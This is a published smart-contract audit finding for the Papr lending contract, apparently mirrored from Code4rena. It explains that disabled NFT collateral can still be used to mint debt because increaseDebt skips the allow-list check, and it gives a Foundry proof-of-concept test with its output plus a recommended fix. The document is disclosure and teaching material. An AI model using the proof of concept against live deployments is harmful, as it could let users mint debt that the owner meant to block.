Skip to content
Business logic Audit finding Intermediate

Disabled NFT collateral should not be used to mint debt

The contract only checks whether a collateral is allowed when adding it, but not when increasing debt. An attacker could use a disabled collateral to mint debt.

ladboy233 Follow with unforgiven, bin2chen and 2 others

Originally disclosed on Code4rena

Submitted by ladboy233, also found by unforgiven, bin2chen, 8olidity, and 141345

https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L365

https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L138

Impact

Disabled collateral can still be used to mint debt.

Proof of Concept

There is an access control function in PaprController.sol:

/// @inheritdoc IPaprController
function setAllowedCollateral(IPaprController.CollateralAllowedConfig[] calldata collateralConfigs)
	external
	override
	onlyOwner
{

According to IPaprController, if the collateral is disabled, set to false, the user should not be allowed to mint debt using the collateral:

/// @notice sets whether a collateral is allowed to be used to mint debt
/// @dev owner function
/// @param collateralConfigs configuration settings indicating whether a collateral is allowed or not
function setAllowedCollateral(IPaprController.CollateralAllowedConfig[] calldata collateralConfigs) external;

However, the code only checks if the collateral is allowed when adding collateral:

function _addCollateralToVault(address account, IPaprController.Collateral memory collateral) internal {
	if (!isAllowed[address(collateral.addr)]) {
		revert IPaprController.InvalidCollateral();
	}

But does not have the same check when minting debt, then user can use disabled collateral to mint debt:

function _increaseDebt(
	address account,
	ERC721 asset,
	address mintTo,
	uint256 amount,
	ReservoirOracleUnderwriter.OracleInfo memory oracleInfo
) internal {
	uint256 cachedTarget = updateTarget();

	uint256 newDebt = _vaultInfo[account][asset].debt + amount;
	uint256 oraclePrice =
		underwritePriceForCollateral(asset, ReservoirOracleUnderwriter.PriceKind.LOWER, oracleInfo);

	uint256 max = _maxDebt(_vaultInfo[account][asset].count * oraclePrice, cachedTarget);

	if (newDebt > max) revert IPaprController.ExceedsMaxDebt(newDebt, max);

	if (newDebt >= 1 << 200) revert IPaprController.DebtAmountExceedsUint200();

	_vaultInfo[account][asset].debt = uint200(newDebt);
	PaprToken(address(papr)).mint(mintTo, amount);

	emit IncreaseDebt(account, asset, amount);
}

As shown in the coded POC, we can add the following test to increaseDebt.t.sol:

https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/test/paprController/IncreaseDebt.t.sol#L32

function testIncreaseDebt_POC() public {

	uint256 debt = 10 ether;
	// console.log(debt);

	vm.assume(debt < type(uint200).max);
	vm.assume(debt < type(uint256).max / controller.maxLTV() / 2);

	oraclePrice = debt * 2;
	oracleInfo = _getOracleInfoForCollateral(nft, underlying);

	vm.startPrank(borrower);
	nft.approve(address(controller), collateralId);
	IPaprController.Collateral[] memory c = new IPaprController.Collateral[](1);
	c[0] = collateral;

	controller.addCollateral(c);

	// disable the collateral but still able to mint debt
	IPaprController.CollateralAllowedConfig[] memory args = new IPaprController.CollateralAllowedConfig[](1);
	args[0] = IPaprController.CollateralAllowedConfig({
		collateral: address(collateral.addr),
		allowed: false
	});

	vm.stopPrank();

	vm.prank(controller.owner());
	controller.setAllowedCollateral(args);

	vm.startPrank(borrower);

	controller.increaseDebt(borrower, collateral.addr, debt, oracleInfo);
	assertEq(debtToken.balanceOf(borrower), debt);
	assertEq(debt, controller.vaultInfo(borrower, collateral.addr).debt);
}

We disable the collateral but still are able to mint debt by calling increaseDebt.

We run the test:

forge test -vvv --match testIncreaseDebt_POC

The test passes, but the test should revert.

Running 1 test for test/paprController/IncreaseDebt.t.sol:IncreaseDebtTest
[PASS] testIncreaseDebt_POC() (gas: 239301)
Test result: ok. 1 passed; 0 failed; finished in 237.42ms

Recommended Mitigation Steps

We recommend the project add checks to make sure when the collateral is disabled, the collateral should not be used to mint debt.

if (!isAllowed[address(collateral.addr)]) {
	revert IPaprController.InvalidCollateral();
}

wilsoncusack (Backed) confirmed and commented:

Hmm, yeah this was known but the warden is probably right that it makes sense to stop minting more debt with these.


The original report as published on Code4rena, by ladboy233. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The debt increase function lacks the isAllowed check that is present in the collateral addition function.

Impact

A user could mint debt using a collateral that the owner has disabled, potentially increasing risk if the collateral was disabled for a reason.

What the attacker needed

Owner disables a collateral type; user has added that collateral before disabling

The fix

The project should add a check in the debt increase function to revert if the collateral is not allowed.

How it was found

  1. Add collateral to the vault.
  2. Owner disables that collateral type.
  3. Call increaseDebt with the disabled collateral.
  4. The transaction succeeds and debt is minted.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract lets users borrow a token by locking up NFTs as collateral. The owner can disable certain NFT types, but the code only checks this when adding collateral, not when borrowing. So a user could still borrow against a disabled NFT type.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by ladboy233

View all

47 more disclosed reports, best first.

More from Papr contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.